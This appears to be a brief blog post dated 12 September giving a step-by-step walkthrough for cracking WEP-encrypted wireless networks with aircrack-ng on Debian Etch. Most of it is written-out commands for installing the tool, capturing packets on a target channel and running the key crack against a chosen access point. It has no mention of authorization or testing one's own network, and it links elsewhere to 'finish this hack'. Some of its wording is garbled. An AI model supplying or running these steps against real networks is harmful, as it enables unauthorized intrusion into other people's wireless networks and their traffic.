12Sep Wireless Cracking Simplified Explanation

It’s fairly easy to crack a WEP encrypted wireless network. Infact the WEP encryption has some serious flaws in its design, flaws that make it easy and fast to crack or hack.

Install aircrack-ng - on Debian Etch by:

sudo apt-get install aircrack-ng


Then start aircrack-ng to look for wireless networks:

sudo airodump-ng eth1


Then notice the channel number of the wireless network you want to crack.

Quit aircrack-ng and start it again with med specific channel number to collect packages faster:

sudo airodump-ng -c 4 -w dump eth1


Then wait and let it collect about 500K IVS and the try the do the actual crack:

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

Find out how to finish this hack at http://mediakey.dk/~cc/hack-wireless-network-crack/

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